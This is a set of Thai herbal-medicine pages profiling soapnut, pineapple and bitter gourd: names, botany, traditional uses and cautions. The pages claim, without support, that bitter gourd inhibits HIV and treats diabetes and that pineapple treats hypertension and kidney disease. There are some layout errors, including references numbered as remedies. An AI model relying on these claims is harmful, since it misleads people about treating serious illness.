  • ทีมนักวิจัยมหาวิทยาลัยเชียงใหม่ ได้ค้นพบว่า สารสกัดจากเหง้าโกฐหัวบัว เป็นสมุนไพรที่มีประสิทธิภาพในการไล่ยุงสูงที่สุด โดยสามารถป้องกันยุงกัดได้นานถึง 6.5 ชั่วโมง เทียบเท่ากับสารเคมีไล่ยุงดีดีที ซึ่งเป็นสารเคมีไล่ยุงมาตรฐานที่นิยมใช้และมีวางขายแพร่หลายตามท้องตลาด อีกทั้งยังไม่ก่อให้เกิดอาการระคายเคืองหรืออาการแพ้ใด ๆ อีกด้วย ด้วยเหตุนี้ในอนาคตจึงสามารถพัฒนาเพื่อนำมาใช้ในการผลิตเป็นสารไล่ยุงทางเลือกจากธรรมชาติ เพื่อทดแทนการใช้สารเคมีไล่ยุงชนิดต่าง ๆ ได้[6]

 

ข้อความ Categories: ไม่มีหมวดหมู่

มะคำดีควาย

omdวิทยาลัยการแพทย์แผนตะวันออก มหาวิทยาลัยรังสิต

สมุนไพรมะคำดีควาย หรือ ประคำดีควาย เป็นชื่อของพรรณไม้ 2 ชนิด ในวงศ์เงาะ (SAPINDACEAE) ซึ่งทั้งสองชนิดนี้มีลักษณะทางพฤกษศาสตร์และสรรพคุณทางยาที่คล้ายคลึงกัน (สามารถนำมาใช้แทนกันได้) ได้แก่

ชื่อสมุนไพร                                  มะคำดีควาย

ชื่ออื่นๆ                                         ประคำดีควาย (ภาคกลาง), มะซัก ส้มป่อยเทศ (ภาคเหนือ), ชะแซ ซะเหล่เด (กะเหรี่ยง-แม่ฮ่องสอน)

ชื่อวิทยาศาสตร์                               Sapindus rarak DC.

ชื่อสามัญ                                      Soap Nut Tree 

ชื่อพ้อง                                        Dittelasma rarak (DC.) Benth. & Hook. f.) 

ชื่อวงศ์                                          -

ลักษณะทางพฤกษศาสตร์         ชนิดนี้ใบจะเป็นใบประกอบแบบขนนก มีใบย่อย 7-13 คู่

ชื่อสมุนไพร                                  มะคำดีควาย

ชื่ออื่นๆ                                         ประคำดีควาย (ภาคกลาง)

ชื่อวิทยาศาสตร์                               Sapindus trifoliatus L.

ชื่อสามัญ                                      Soapberry Tree 

ชื่อพ้อง                                        Sapindus emarginatus Vahl, Sapindus laurifolius Vahl

ชื่อวงศ์                                          -

ลักษณะทางพฤกษศาสตร์     ชนิดนี้ใบจะเป็นใบประกอบแบบขนนก มีใบย่อยเพียง 2-4 ใบ (บางข้อมูลว่ามี 4-6 ใบย่อย)

makam_2 ต้นมะคำดีควาย (ชนิด Sapindus trifoliatus L.) จัดเป็นไม้ยืนต้นขนาดกลาง เรือนยอดของต้นหนาทึบ ลำต้นมักคดงอ มีความสูงของต้นได้ประมาณ 10-30 เมตร เปลือกลำต้นเป็นสีน้ำตาลอ่อน แตกเป็นร่องลึกตามแนวยาว ยอดอ่อนและกิ่งอ่อนมีขนสีน้ำตาล พรรณไม้ชนิดนี้มักพบขึ้นทั่วไปตามป่าเบญจพรรณชื้น ป่าดิบแล้งในทุกภาคของประเทศไทย ขยายพันธุ์ด้วยวิธีการเพาะเมล็ด[2],[6],[7]

makam_3ใบมะคำดีควาย ใบเป็นใบประกอบแบบขนนกออกเรียงสลับกัน ในช่อหนึ่งจะมีใบย่อยอยู่ประมาณ 2-4 ใบ ลักษณะของใบย่อยเป็นรูปรีแกมรูปขอบขนาน ปลายใบมน โคนใบมน ส่วนขอบใบเรียบ ใบมีขนาดกว้างประมาณ 5-7 เซนติเมตรและยาวประมาณ 10-14 เซนติเมตร แผ่นใบเรียบเป็นสีเขียว

makam_4ดอกมะคำดีควาย ออกดอกเป็นช่อขนาดใหญ่ โดยจะออกบริเวณปลายกิ่ง ดอกเป็นแบบแยกเพศแต่อยู่บนต้นเดียวกัน ลักษณะของดอกเป็นดอกเล็กสีขาวนวลหรือเป็นสีเหลืองอ่อน ๆ ในหนึ่งดอกจะมีกลีบรองดอกขนาดเล็กประมาณ 4 กลีบ โคนกลีบเชื่อมติดกัน และมีกลีบดอกประมาณ 5 กลีบ กลีบข้างนอกมีขนสั้น ๆ สีน้ำตาลปนแดงขึ้นอยู่ประปราย ส่วนบริเวณกลางดอกมีเกสรเพศผู้อยู่ 10 ก้าน

makam_5 makam_1ผลมะคำดีควาย ผลออกรวมกันเป็นพวง ผลย่อยมีลักษณะค่อนข้างกลม มีขนาดเส้นผ่านศูนย์กลางประมาณ 1.5-2 เซนติเมตร ผลสดสีเขียว ผิวผลเรียบหรืออาจมีรอยย่นที่ผลบ้าง เปลือกผลเมื่อแก่จะเป็นสีน้ำตาลเข้มเกือบดำ ผลมีพู 3 พู และมักจะฝ่อไป 1-2 พู เนื้อในผลมีลักษณะเหนียว ใส เป็นสีน้ำตาล และมีรสหวาน ภายในผลมีเมล็ด 1 เมล็ด เมล็ดมีลักษณะกลมสีดำเป็นมัน เป็นเมล็ดที่มีเปลือกหุ้มแข็ง

หมายเหตุ : ผู้เขียนเข้าใจว่าชนิดใบรีแกมรูปขอบขนาน คือ มะคําดีควาย ที่มีชื่อวิทยาศาสตร์ว่า Sapindus emarginatus Wall. (ชนิดนี้มีความสูงของต้นประมาณ 10-30 เมตร) ส่วนชนิดใบเป็นรูปหอก คือ ประคําดีควาย ที่มีชื่อวิทยาศาสตร์ว่า Sapindus rarak A. DC. (ชนิดนี้มีความสูงของต้นประมาณ 5-10 เมตร)

สรรพคุณของมะคำดีควาย

  1. เปลือกต้นมีรสเฝื่อนขม นำมาต้มเอาน้ำรับประทานเป็นยาแก้กระษัย (เปลือกต้น)[1],[2],[6]
  2. ผลใช้รักษาชันนะตุบนศีรษะ แก้เชื้อรา แก้รังคา (โรคผิวหนังพุพองบนศีรษะเด็ก) ด้วยการใช้ผลประมาณ 4-5 ผล นำมาแกะเอาแต่เนื้อ นำไปต้มกับน้ำประมาณ 1 ถ้วย แล้วใช้น้ำทาบนศีรษะที่เป็นชันนะตุวันละ 2 ครั้ง เช้าและเย็น จนกว่าจะหาย หรือจะใช้เนื้อผล 1 ผล นำมาตีกับน้ำจนเกิดเป็นฟอง แล้วใช้สระผมวันละ 1 ครั้ง จนกว่าจะหาย (บางข้อมูลระบุว่าสามารถช่วยป้องกันผมร่วง ผมหงอกก่อนวัย แก้อาการคันหนังศีรษะ ช่วยลดความมันบนหนังศีรษะ บำรุงรากผมให้แข็งแรง ช่วยขจัดตัวเหา ไข่เหา หรือนำไปหมักเอาน้ำทาแก้โรคสะเก็ดเงิน) แต่ต้องระวังอย่าให้เข้าตา เพราะจะทำให้แสบตา ตาอักเสบได้ และไม่ควรทิ้งไว้นานจนเกินไป (ผล)[2],[3],[7],[8]
  3. ผลใช้ผสมกับสมุนไพรอื่นในตำรับยา ใช้รักษาโรคตัวร้อน นอนไม่หลับ นอนสะดุ้ง ผวา แก้สลบ แก้สารพัดพิษ สารพัดกาฬ แก้ไข้สารพัดไข้ทั้งปวง แก้ไข้จับเซื่องซึม ร้อนในกระหายน้ำ แก้ปากเปื่อย แก้ฝีเกลื้อน แก้พิษ แก้หัด สุกใส (ผล)[2]
  4. ใบนำมาปรุงเป็นยาแก้พิษกาฬ ดับพิษกาฬ ช่วยแก้ทุราวสา (ใบ)[1],[2],[6]
  5. ใช้ผลแห้งนำไปคั่วให้เกรียม ใช้ปรุงเป็นยาดับพิษทุกชนิด แก้พิษตานซาง แก้กาฬ แก้กาฬภายใน แก้ไข้เลือดออก แก้ไข้เซื่องซึม หรือใช้ร่วมกับเมล็ดมะกอกสุมไฟ ใช้กินแก้หอบอันเนื่องมาจากปอดชื้นปอดบวม แก้ไข้ แก้จุดกาฬ แก้เสลด สุมฝีที่เปื่อยพัง (ผล)[1],[2],[3],[6]
  6. เปลือกต้นนำมาต้มเอาน้ำรับประทานเป็นยาแก้ไข้ แก้พิษไข้ แก้พิษร้อน (เปลือกต้น)[1],[2],[6]
  7. ผลนำมาสุมให้เป็นถ่าน แล้วปรุงเป็นยาดับพิษร้อนในร่างกาย (ผล)[4]
  8. ผลนำมาสุมให้เป็นถ่าน ทำเป็นยารับประทานแก้ร้อนในกระหายน้ำ (ผล)[3]
  9. ผลนำมาต้มเอาฟองใช้สุมหัวเด็กเพื่อแก้หวัด คัดจมูกได้ (ผล)[3]
  10. ช่วยแก้หืดหอบ (ผล)[1] รากช่วยแก้หืด แก้ไอ (ราก)[2],[5]
  11. ต้นช่วยแก้ลมคลื่นเหียน (ต้น)[2]
  12. รากช่วยรักษามองคร่อ (โรคหลอดลมโป่งพองที่มีเสมหะแห้งอยู่ในช่องหลอดลม ทำให้มีอาการไอเรื้อรัง) (ราก)[2]
  13. เมล็ด รับประทานแล้วจะทำให้ท้องเสีย (กะเหรี่ยงเชียงใหม่) (เมล็ด)[5]
  14. ใบอ่อนนำมาต้มกับน้ำดื่มรับประทานแก้อาการท้องผูก (ใบอ่อน)[5] ชาวลั้วะจะใช้ยอดอ่อนนำมานึ่งรับประทานเป็นยาแก้อาการถ่ายไม่ออก แก้อาการท้องอืดท้องเฟ้อ (ยอดอ่อน)[5]
  15. รากใช้ผสมกับสมุนไพรอื่นในตำรับยา ใช้เป็นยาแก้ฝีในท้อง (ราก)[2]
  16. ชาวลั้วะจะนำเมล็ดมารับประทานทั้งเมล็ด มีฤทธิ์เป็นยาถ่ายพยาธิ (เมล็ด)[5]
  17. รากมีรสเฝื่อนขม ช่วยแก้ริดสีดวง (ราก)[2],[6]
  18. ผลช่วยบำรุงน้ำดี (ผล)[3]
  19. ช่วยรักษาผิวหนังพุพอง น้ำเหลืองเสีย ด้วยการใช้ผลประมาณ 10-15 ผล นำมาต้มกับน้ำพอประมาณ แล้วใช้เฉพาะน้ำนำมาชะล้างหรือแช่บริเวณที่เป็นแผลประมาณ 5 นาที โดยให้ทำทั้งเช้าและเย็น (ผล)[3]
  20. ใช้เปลือกต้นผสมกับสมุนไพรอื่นในตำรับยา ใช้เป็นยาแก้ฝีอักเสบ แก้ฝีหัวคว่ำ (เปลือกต้น)[1],[2]
  21. เมล็ดมีรสเฝื่อนเมา ใช้ได้ทั้งสดและแห้ง นำมาตำให้ละเอียด ใช้เป็นยาพอกหรือเอามาละลายกับน้ำล้างแผล ช่วยแก้โรคผิวหนังได้ (เมล็ด)[1],[2],[6] ส่วนผลก็ช่วยแก้โรคผิวหนังเช่นกัน (ผล)[1],[2]
  22. ดอกมีรสเฝื่อนเมา เป็นยาแก้พิษ แก้เม็ดผดผื่นคัน (ดอก)[2],[6]
  23. ผลนำมาทุบให้แตกแล้วนำไปแช่กับน้ำ นำมาใช้ล้างหน้าเพื่อรักษาผิว[3],[6],[7],[8]
  24. ใบนำมานึ่งรับประทานเป็นผักจิ้มกับน้ำพริก (ลั้วะ)[5]
  25. ชาวบ้านตามชนบทจะนิยมนำผลมาใช้เป็นสารชะล้างแทนสบู่เพื่อชำระล้างร่างกาย สระผม หรือนำไปใช้ซักผ้า ผ้าไหม ผ้าฝ้าย หรือใช้ทำความสะอาดข้าวของเครื่องใช้ต่าง ๆ เช่น เครื่องเพชร ฯลฯ เพราะผลเมื่อนำมาทุบแล้วจะเกิดฟองคล้ายสบู่ (ปัจจุบันมีผลิตภัณฑ์ที่อยู่ในรูปแชมพูสระผม (แชมพูมะคำดีควาย) ครีมนวดผม น้ำยาล้างจาน)[1],[2],[3]
  26. เมล็ดมะคำดีควายมีลักษณะกลมและแข็ง มีสีน้ำตาลดำ สามารถนำไปใช้ร้อยทำเป็นลูกประคำได้[4]
  27. ผลมีความเป็นพิษต่อสัตว์เลือดเย็นมาก โดยเฉพาะปลา จึงมีการนำมาใช้ในการเบื่อปลา และใช้เป็นยาฆ่าแมลง[3]
  28. ผลหรือลูกประคำดีควายที่สกัดเอาน้ำแล้วนำไปคลุกกับเหยื่อพิษ หรือใช้ฉีดพ่นต้นข้าว จากนั้นนำไปวางในนาข้าว เพียงเท่านี้ก็สามารถช่วยกำจัดหอยเชอรี่ได้ โดยขั้นตอนการทำก็เริ่มจากการนำลูกประคำดีควาย 1 ส่วน ต่อน้ำร้อน 2 ส่วน แช่ลูกประคำดีควายกับน้ำไว้ 12 ชั่วโมง จากนั้นให้ขยำเนื้อให้ละเอียด แยกเอาเมล็ดออก แล้วนำผ้าขาวบางมากรองเอาแต่สารละลาย เสร็จแล้วให้นำสารละลายที่กรองได้มาผสมกับน้ำเพิ่มอีกในอัตราส่วน 1 ต่อ 6 (สารละลาย 1 ส่วนต่อน้ำเปล่า 6 ส่วน) แค่นี้ก็สามารถนำไปใช้ได้เลย ส่วนเนื้อของลูกประคำดีควายสามารถนำมาผสมกับน้ำและคั้นเอาสารสกัดได้อีก 2 ครั้ง[10]
  29. หนังสือพจนานุกรมสมุนไพรไทย, ฉบับพิมพ์ครั้งที่ 5.  “ประคำดีควาย”.  (ดร.วิทย์ เที่ยงบูรณธรรม).  หน้า 445-446.
  30. สรรพคุณสมุนไพร 200 ชนิด, สำนักงานโครงการอนุรักษ์พันธุกรรมพืชอันเนื่องมาจากพระราชดำริ สมเด็จพระเทพรัตนราชสุดาฯ สยามบรมราชกุมารี.  “ประคําดีควาย”.  [ออนไลน์].  เข้าถึงได้จาก: www.rspg.or.th/plants_data/herbs/. [18 เม.ย. 2014].
  31. ฐานข้อมูลเครื่องยาสมุนไพร คณะเภสัชศาสตร์ มหาวิทยาลัยอุบลราชธานี.  “มะคําดีควาย”.  [ออนไลน์].  เข้าถึงได้จาก: www.thaicrudedrug.com.  [18 เม.ย. 2014].
  32. ศาสตราจารย์พเยาว์  เหมือนวงษ์ญาติ.
  33. หนังสือพืชสมุนไพรในสวนป่าสมุนไพรเขาหินซ้อน ฉบับสมบูรณ์.  (พงษ์ศักดิ์ พลเสนา).
  34. หนังสือสมุนไพรไทย เล่ม 1.  “มะคําดีควาย”.  (ดร.นิจศิริ เรืองรังษี, ธวัชชัย มังคละคุปต์).  หน้า 218.
  35. หนังสือสมุนไพรในอุทยานแห่งชาติภาคเหนือ.  “มะคำดีควาย”.  (พญ.เพ็ญนภา ทรัพย์เจริญ).  หน้า 151.
  36. หนังสือสมุนไพรสวนสิรีรุกขชาติ.  (คณะเภสัชศาสตร์ มหาวิทยาลัยมหิดล).  “มะคำดีควาย Soapberry”.  หน้า 183.
  37. หนังสือสมุนไพรสำหรับงานสาธารณสุขมูลฐาน.  (ภาควิชาเภสัชเวทและเภสัชพฤกษศาสตร์ และศูนย์สมุนไพรทักษิณ คณะเภสัชศาสตร์ มหาวิทยาลัยสงขลานครินทร์).  “มะคําดีควาย”.
  38. ข่าวประชาสัมพันธ์ มหาวิทยาลัยมหาสารคาม.  “อาจารย์ มมส เผยงานวิจัยใช้ประคำดีควายกำจัดหอยเชอรี่ได้ผล”.  [ออนไลน์].  เข้าถึงได้จาก: www.web.msu.ac.th/ssystem/msuhotnews/index.php.  [18 เม.ย. 2014]

ข้อมูลทางเภสัชวิทยาของมะคำดีควาย

  • สารสำคัญที่พบได้แก่ ß-Sitosterol, Emarginatoside, Quercetin, Quercetin-3-a-A-arabofuranoside, O-Methyl-Saponin, Sapindus – Saponin[2]
  • จากการทดลองทางคลินิกด้วยการใช้น้ำสกัดมะคำดีควายฉีดเข้าทางช่องท้อง พบว่ามีฤทธิ์ลดการอักเสบ[9]
  • เนื้อผลมีฤทธิ์ลดการเคลื่อนที่ของอสุจิและลดความเข้มข้นของอสุจิในหนูขาว[9]
  • เนื้อผลมะคำดีควายมีสารซาโปนินที่มีฤทธิ์ในการยับยั้งการเจริญของเชื้อราที่ทำให้เกิดโรคกลาก โรคผิวหนังได้ดี[3],[8],[9] และมีฤทธิ์ฆ่าหอย[9]
  • จากการทดลองด้วยการทาสารสกัดเอทานอลของผลมะคำดีควายที่ความเข้มข้นร้อยละ 2 พบว่ามีฤทธิ์ในการต้านเชื้อรา และการใช้แชมพูจากสารสกัดของผลมะคำดีควายที่ความเข้มข้น 6 มิลลิกรัมต่อมิลลิลิตร พบว่าจะช่วยทำให้เส้นผมสะอาดและช่วยลดอาการคันบนหนังศีรษะ[9]
  • จากการทดสอบความเป็นพิษ ด้วยการใช้สารที่สกัดได้จากผลประคำดีควายด้วยแอลกอฮอล์ปริมาณ 50% ในขนาด 10 กรัมต่อกิโลกรัม โดยทำการทดลองฉีดเข้าทางใต้ผิวหนังของหนูถีบจักร พบว่าในขนาดที่ทำให้หนูถีบจักรตายครึ่งหนึ่งคือ 2.0 กรัมต่อกิโลกรัม ปรากฏว่าไม่พบอาการพิษ (ขนาดที่ใช้เท่ากับ 2,083 เท่า ของปริมาณยาที่ใช้ในตำรับยา)[1]

ประโยชน์ของมะคำดีควาย

ข้อควรระวังในการใช้สมุนไพรมะคำดีควาย

  • การรับประทานผลจะทำให้เกิดอาการคลื่นไส้อาเจียน มีอาการท้องร่วง ระคายเคืองต่อระบบทางเดินอาหารได้[3]
  • หากผงซึ่งมีสารซาโปนินอยู่เข้าทางจมูก จะทำให้เกิดอาการระคายเคืองและทำให้จามได้ ถ้าหากฉีดเข้าเส้นเลือดจะทำให้เม็ดเลือดแดงแตก[3]
  • การใช้ผลเพื่อสระผม เพื่อรักษาชันนะตุ รังแค เชื้อรา ในขณะสระต้องระวังอย่าให้เข้าตา เพราะจะทำให้แสบตา ตาอักเสบได้ และไม่ควรใช้ในปริมาณมากหรือใช้บ่อยจนเกินไป หากใช้แล้วให้ล้างออกให้หมด มิฉะนั้นอาจทำให้ผมร่วงได้ และเมื่อใช้รักษาจนหายแล้วก็ให้เลิกใช้[4]
เอกสารอ้างอิง

ภาพประกอบ : www.flickr.com (by Mamatha Rao, Dinesh Valke)

เรียบเรียงข้อมูลโดยเว็บไซต์เมดไทย (MedThai)

Categories: ไม่มีหมวดหมู่

สัปปะรด

omdวิทยาลัยการแพทย์แผนตะวันออก มหาวิทยาลัยรังสิต

ชื่อสมุนไพร                                  สัปปะรด

ชื่ออื่นๆ                                         มะนัด มะขะนัด บ่อนัด (ภาคเหนือ), บักนัด (ภาคตะวันออกเฉียงเหนือ), ย่านัด ขนุนทอง (ภาคใต้) 

ชื่อวิทยาศาสตร์                               Ananas comosus (L.) Merr.

ชื่อสามัญ                                      Pineapple

ชื่อพ้อง                                        -

ชื่อวงศ์                                         (BROMELIACEAE) และอยู่ในวงศ์ย่อย BROMELIOIDEAE

ลักษณะทางพฤกษศาสตร์     

saparoe_1 สับปะรด มีต้นกำเนิดมาจากทวีปอเมริกาใต้ มีความทนทานต่อสภาพแวดล้อมต่าง ๆ ได้ดี และจัดว่าเป็นผลไม้เศรษฐกิจของบ้านเราด้วย แหล่งปลูกที่สำคัญ ๆ มักจะอยู่ใกล้ ๆ ทะเล เช่น ประจวบคีรีขันธ์ เพชรบุรี ชลบุรี หรืออุตรดิตถ์ ลำปาง พิษณุโลก เป็นต้น สำหรับพันธุ์ที่นิยมปลูกในบ้านเราก็มีหลายสายพันธุ์ เช่น พันธุ์ปัตตาเวีย (สับปะรดศรีราชา ผลใหญ่ เนื้อฉ่ำ สีเหลืองอ่อน), พันธุ์อินทรชิต (หรือพันธุ์พื้นเมือง), พันธุ์ภูเก็ต (ผลเล็กเปลือกหนา เนื้อสีเหลือง หวานกรอบ), พันธุ์นางแล (พันธุ์น้ำผึ้ง เนื้อจะเข้มเหลือง รสออกหวานจัด)

สับปะรดจัดเป็นผลไม้เพื่อสุขภาพอีกชนิดหนึ่ง โดยประโยชน์ของสับปะรดนั้นมีอยู่หลากหลาย เพราะอุดมไปด้วยแร่ธาตุและวิตามินต่าง ๆ จำนวนมาก ซึ่งได้แก่ คาร์โบไฮเดรต วิตามินซี วิตามินบี 1 วิตามินบี 2 วิตามินบี 3 วิตามินบี 5 วิตามินบี 6 กรดโฟลิก ธาตุแคลเซียม ธาตุโพแทสเซียม ธาตุแมกนีเซียม ธาตุแมงกานีส ธาตุฟอสฟอรัส ธาตุเหล็ก ธาตุสังกะสี เป็นต้น ซึ่งเหล่านี้ถือว่ามีประโยชน์ต่อร่างกายและสุขภาพเราเป็นอย่างมาก และสรรพคุณสับปะรดทางสมุนไพรนั้น ก็ช่วยรักษาอาการต่าง ๆ ได้อย่างหลากหลายเช่นกัน เช่น โรคบิด โรคนิ่ว ช่วยบรรเทาอาการแผลเป็นหนอง ขับปัสสาวะ เป็นต้น

saparoe_5รูปลักษณะ ไม้ล้มลุกอายุหลายปี สูง 90-100 ซม. มีลำต้นอยู่ใต้ดิน ใบเดี่ยวเรียงสลับ ซ้อนกันถี่มากรอบต้น กว้าง 6.5 ซม. ยาวได้ถึง 1 เมตร ไม่มีก้านใบ ดอกช่อออกจากกลางต้น มีดอกย่อยจำนวนมาก ผลเป็นผลรวม รูปทรงกระบอก มีใบเป็นกระจุกที่ปลาย

saparoe_3สับปะรดเป็นพืชใบเลี้ยงเดี่ยว สามารถทนต่อสภาพแวดล้อมต่าง ๆ ได้ดี เป็นพืชเศรษฐกิจที่สำคัญ เมื่อเจริญเป็นผลแล้วจะเจริญต่อไปโดยตาที่ลำต้นจะเติบโตเป็นต้นใหม่ได้อีก และสามารถดัดแปลงเป็นไม้ประดับได้อีกด้วย

saparoe_2 saparoe_4สับปะรดแบ่งออกตามลักษณะความเป็นอยู่ได้ 3 ประเภทใหญ่ ๆ คือพวกที่มีระบบรากหาอาหารอยู่ในดิน หรือเรียกว่าไม้ดิน, พวกอาศัยอยู่ตามคาคบไม้หรือลำต้นไม้ใหญ่ ได้แก่ ไม้อากาศต่าง ๆ ที่ไม่แย่งอาหารจากต้นไม้ที่มันเกาะอาศัยอยู่ พวกนี้ส่วนใหญ่จะเป็นไม้ประดับ, และพวกที่เจริญเติบโตบนผาหินหรือโขดหิน

ส่วนสับปะรดที่เราใช้บริโภคจัดเป็นไม้ดิน แต่ยังมีลักษณะบางประการของไม้อากาศเอาไว้ คือ สามารถเก็บน้ำไว้ตามซอกใบได้เล็กน้อยมีเซลล์พิเศษสำหรับเก็บน้ำเอาไว้ในใบ ทำให้ทนทานในช่วงแล้งได้

สรรพคุณของสับปะรด

  1. ช่วยเสริมสร้างระบบภูมิคุ้มกันในร่างกายให้แข็งแรง
  2. ช่วยลดอัตราความเสี่ยงจากการเกิดโรคมะเร็ง
  3. ช่วยบรรเทาและรักษาอาการหวัดได้
  4. ช่วยให้เลือดลมไหลเวียนได้ดีมากขึ้น
  5. ช่วยให้สุขภาพในช่องปากแข็งแรง ป้องกันไม่ให้เกิดโรคเหงือก
  6. ช่วยบรรเทาอาการร้อน กระสับกระส่าย หิวน้ำ
  7. ช่วยแก้อาการท้องผูก ขับถ่ายไม่สะดวก
  8. ช่วยในการย่อยอาหารจำพวกโปรตีน
  9. ช่วยลดเสมหะในลำคอได้
  10. ช่วยในการขับปัสสาวะ ปัสสาวะไม่ออก
  11. ช่วยรักษาโรคนิ่ว
  12. ช่วยรักษาโรคไตอักเสบ
  13. ช่วยรักษาโรคความดันโลหิตสูง
  14. ช่วยรักษาโรคหลอดลมอักเสบ
  15. ช่วยบรรเทาอาการของโรคบิด
  16. เชื่อว่าช่วยรักษาและบรรเทาอาการของโรคนิ้วล็อก (Trigger finger)
  17. ช่วยรักษาอาการบวมน้ำ
  18. ช่วยรักษาอาการแผลเป็นหนอง
  19. ช่วยแก้ปัญหาส้นเท้าแตก
  20. ช่วยลดการอักเสบจากบาดแผล
  21. เป็นยารักษาโรคผิวหนัง
  22. ใบสด นำมาใช้เป็นยาถ่ายหรือยาฆ่าพยาธิได้
  23. ผลดิบสามารถนำมาใช้ห้ามเลือดได้
  24. ผลดิบสับปะรดช่วยขับประจําเดือน
  25. ส่วนของรากสับปะรดนำมาใช้เป็นยาแก้กระษัย บำรุงไตได้
  26. หนามของสับปะรดช่วยแก้พิษฝีต่าง ๆ ได้

ประโยชน์ของสับปะรด

  1. ช่วยบำรุงผิวพรรณให้เปล่งปลั่งสดใสอยู่เสมอ
  2. ช่วยต่อต้านอนุมูลอิสระในร่างกาย ช่วยชะลอการเกิดริ้วรอยและความแก่ชรา
  3. สับปะรดเป็นผลไม้ที่เมื่อรับประทานแล้วจะรู้สึกสบายท้อง ไม่รู้สึกอึดอัด
  4. ใช้นำมารับประทานเป็นผลไม้ หรือนำมาปรุงเป็นอาหาร เช่น แกงสับปะรด เป็นต้น
  5. นำมาใช้แปรรูปเป็นสับปะรดกระป๋อง ทำเป็นสับปะรดกวนก็ได้
  6. การแปรรูปสับปะรดอื่น ๆ เช่น การทําไวน์สับปะรด แยมสับปะรด เป็นต้น

คุณค่าทางโภชนาการของสับปะรดต่อ 100 กรัม

  • พลังงาน 50 กิโลแคลอรี
  • คาร์โบไฮเดรต 13.12 กรัม
  • น้ำตาล 9.85 กรัม
  • เส้นใย 1.4 กรัม
  • ไขมัน 0.12 กรัม
  • โปรตีน 0.54 กรัม
  • วิตามินบี 1 0.079 มิลลิกรัม 7%
  • วิตามินบี 2 0.032 มิลลิกรัม 3%
  • วิตามินบี 3 0.5 มิลลิกรัม 3%
  • วิตามินบี 5 0.213 มิลลิกรัม 4%
  • วิตามินบี 6 0.112 มิลลิกรัม 9%
  • วิตามินบี 9 18 ไมโครกรัม 5%
  • โคลีน 5.5 มิลลิกรัม 1%
  • วิตามินซี 47.8 มิลลิกรัม 58%
  • ธาตุแคลเซียม 13 มิลลิกรัม 1%
  • ธาตุเหล็ก 0.29 มิลลิกรัม 2%
  • ธาตุแมกนีเซียม 12 มิลลิกรัม 3%
  • ธาตุแมงกานีส 0.927 มิลลิกรัม 44%
  • ธาตุฟอสฟอรัส 8 มิลลิกรัม 1%
  • ธาตุโพแทสเซียม 109 มิลลิกรัม 2%
  • ธาตุโซเดียม 1 มิลลิกรัม 0%
  • ธาตุสังกะสี 0.12 มิลลิกรัม 1%

% ร้อยละของปริมาณแนะนำที่ร่างกายต้องการในแต่ละวันสำหรับผู้ใหญ่ (ข้อมูลจาก : USDA Nutrient database) การรับประทานสับปะรดแนะนำให้ทานสด ๆ ไม่ผ่านกระบวนการประกอบอาหารหรือผ่านความร้อนเพื่อป้องกันการสูญเสียวิตามิน โดยสับปะรดที่เริ่มนิ่มแล้วและมีน้ำเหนียว ๆ ไหลออกมา แสดงว่าเริ่มเน่าหรือสุกมากจนเกินไป จึงไม่ควรรับประทาน

แหล่งอ้างอิง :

สำนักงานกองทุนสนับสนุนการสร้างเสริมสุขภาพ (สสส.), วิกิพีเดีย สารานุกรมเสรี, USDA Nutrient Database

เรียบเรียงข้อมูลโดยเว็บไซต์เมดไทย (MedThai)

Categories: ไม่มีหมวดหมู่

มะระขี้นก

omdวิทยาลัยการแพทย์แผนตะวันออก มหาวิทยาลัยรังสิต

ชื่อสมุนไพร                                  มะระขี้นก

ชื่ออื่นๆ                                         

ชื่อวิทยาศาสตร์                          Momordica charantia L.

ชื่อสามัญ                                      Bitter gourd

ชื่อพ้อง                                        -

ชื่อวงศ์                                         CUCURBITACEAE

ลักษณะทางพฤกษศาสตร์     เป็นไม้เถาเลื้อยพันต้นไม้หรือร้าง 

marakeenog_3 ใบของมะระขี้นก            แยกแฉกออกเป็น 5 ส่วน

marakeenog_2 marakeenog_1ผลของมะระขี้นกจะมีรูปร่างคล้ายกระสวย ผิวเปลือกขรุขระและมีปุ่มยื่นออกมา โดยผลอ่อนจะมีสีเขียว แต่ถ้าเป็นผลแก่จะออกสีเหลืองอมแดง ปลายของผลจะแตกเป็น 3 แฉก

รากและเถา  – ใช้แก้ร้อน แก้พิษ ถ่ายบิดเป็นเลือด หรือแม้แต่รักษาฝีบวมอักเสบ และปวดฟัน

ใบ – ใช้รักษาโรคกระเพาะ บิด บรรเทาแผลฝีบวมอักเสบ ขับพยาธิ

ดอก – มีรสขมและเย็นจัด สามารถช่วยรักษาโรคบิดได้

เมล็ด – ใช้เป็นยากระตุ้นอารมณ์ทางเพศ บำรุงธาตุ และบำรุงกำลัง

ผลสด – ใช้แก้พิษร้อน และอาการร้อนใน รักษาโรคบิด ตาบวมแดง บรรเทาแผลบวมเป็นหนองและฝีอักเสบ

ผลแห้ง – ช่วยรักษาอาการของโรคหิด

marakeenog_4สรรพคุณของมะระขี้นก

  1. ช่วยต่อต้านอนุมูลอิสระ จึงมีส่วนช่วยในการชะลอความแก่ชราได้
  2. ช่วยเสริมสร้างภูมิต้านทานโรคให้กับร่างกาย (ผล)
  3. ช่วยต่อต้านและป้องกันการเกิดโรคมะเร็ง (ผล)
  4. ช่วยลดระดับคอเลสเตอรอลและไตรกลีเซอไรด์ในตับอย่างมีประสิทธิภาพ จึงมีส่วนช่วยในการลดความอ้วน
  5. ช่วยป้องกันการหนาตัวของผนังหลอดเลือดแดง
  6. ช่วยยับยั้งเชื้อเอดส์หรือ HIV (ผล)
  7. ช่วยรักษาโรคหอบหืด
  8. ช่วยบำบัดและรักษาโรคเบาหวาน สามารถลดระดับน้ำตาลในกระแสเลือดได้เป็นอย่างดี โดยจะออกฤทธิ์ทันทีหลังรับประทานประมาณ 60 นาที (ผล)
  9. ช่วยลดความดันโลหิต (ผล)
  10. ช่วยให้เจริญอาหาร เพราะมีสารที่มีรสขม ช่วยกระตุ้นน้ำย่อยให้ออกมามากยิ่งขึ้น ทำให้รับประทานอาหารได้เพิ่มมากยิ่งขึ้น (ผล, ราก, ใบ)
  11. ช่วยบำรุงกำลัง บำรุงธาตุ เพิ่มพูนลมปราณ ด้วยการใช้เมล็ดแห้งของมะระขี้นกประมาณ 3 กรัม ต้มกับน้ำดื่ม (ผล, เมล็ด, ใบ)
  12. แก้ธาตุไม่ปกติ (ผล, ใบ)
  13. ใช้เป็นยาช่วยในการฟอกเลือด (ใบ)
  14. ช่วยในการนอนหลับ (ใบ)
  15. ช่วยบำรุงสายตา แก้อาการตาฟาง ช่วยในการถนอมสายตา ช่วยทำให้ดวงตาสว่างสดใสขึ้น แก้ตาบวมแดง (ผล)
